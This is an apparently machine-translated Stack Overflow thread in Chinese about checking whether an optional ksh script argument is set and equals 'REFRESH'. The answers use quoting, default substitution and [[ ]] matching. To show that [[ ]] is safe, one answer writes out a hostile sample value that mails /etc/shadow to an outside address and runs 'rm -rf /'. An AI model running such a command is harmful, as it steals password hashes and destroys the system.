2012-01-09 93 views
3

我有一个接受用户输入的脚本,REFRESH选项是可选的。我需要测试以查看$ REFRESH是否存在并且等于字符串“REFRESH”,如果它接着运行特定的代码块。检查一个变量是否已设置,值是ksh

用户将执行

./export_data.sh <user> <type> [REFRESH] 

如果我这样做在PHP中我会简单地使用isset()函数的功能,并在equivelent在ksh中存在吗?

我曾尝试以下,但这未能执行第二次测试$ REFRESH没有设置:

if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ] 
then 
    echo "variable is set and the expected value"; 
    # do stuff 
fi 

我能想到这样做的唯一的另一种方式是一个嵌套如果但这似乎凌乱:

if [ -n $REFRESH ] 
then 
    if [ $REFRESH == "REFRESH" ] 
    then 
     echo "variable is set and the expected value"; 
     # do stuff 
fi 

有没有更好的方法来做到这一点?

回答

7
if [ "${REFRESH:-unset}" = "REFRESH" ] 
then ... 

这种替代unset如果在$REFRESH没有价值或者如果该值是空字符串。无论哪种方式,它不是“刷新”,所以它的行为如需要。

当测试变量时,将它们用双引号引起来;它可以节省焦虑。事实上,这将意味着,你可以简单地写:

if [ "$REFRESH" = "REFRESH" ] 
then ... 
+0

不应该它是'if [“$ {REFRESH:-unset}”!=“unset”]'? – jlliagre 2012-01-09 17:51:07

+0

不可以。问题:我需要测试$ REFRESH是否存在,并且等于字符串“REFRESH”_。 – 2012-01-09 18:15:21

+1

确实。实际上有两个问题,一个是明确的,而不是你的答复直接解决的问题,另一个问题可能是真正的问题。无论如何,我回答了另一个问题。 – jlliagre 2012-01-10 05:41:39

1

回答到具体的问题:

如果我是PHP这样做我会简单地使用isset()函数的功能,做一个等价于ksh?

if [ "${REFRESH:-unset}" != unset ] 
3

我将在乔纳森的回复意见,但我太牛逼在这里给了这样的事情是可信的。

无论如何,如果您试图在ksh中保存自己的焦虑,请不要使用传统的Bourne shell []。相反,使用[[]]。

if [[ $REFRESH == REFRESH ]]; then 

这将始终评估你想要的方式。即使在if语句之前发生以下任何情况。

REFRESH='' 
REFRESH=' REFRESH' 
REFRESH='`mailx -s "good stuff" [email protected] < /etc/shadow`; sleep 5; rm -rf /`' 

要小心的事情是在事件的右手边,它是一个变量,或者可以为不仅仅是一个简单的字符串比较其他的东西来评价一个字符串。考虑这些:

$ val='@(foo|REFRESH)' 
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match 
match 
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match 
match 
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match 
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match 
$ 

这里我们可以看到引述RHS比使用[[]]时,引用了LHS更重要。此外,这表明[[]]允许使用模式和模式列表进行更强大的匹配。

0

顺便说一句,在我看来最好的(因为是最简单的)方式,如果一个变量被设置或不设置为测试:

if [ "$PIPPO" ] ; then 
    echo "Set" 
fi 

OR

if [ ! "$PIPPO" ] ; then 
    echo "Not Set" 
fi 
+0

如果您已设置“-u”,则不起作用。 – Adrien 2014-09-05 12:34:00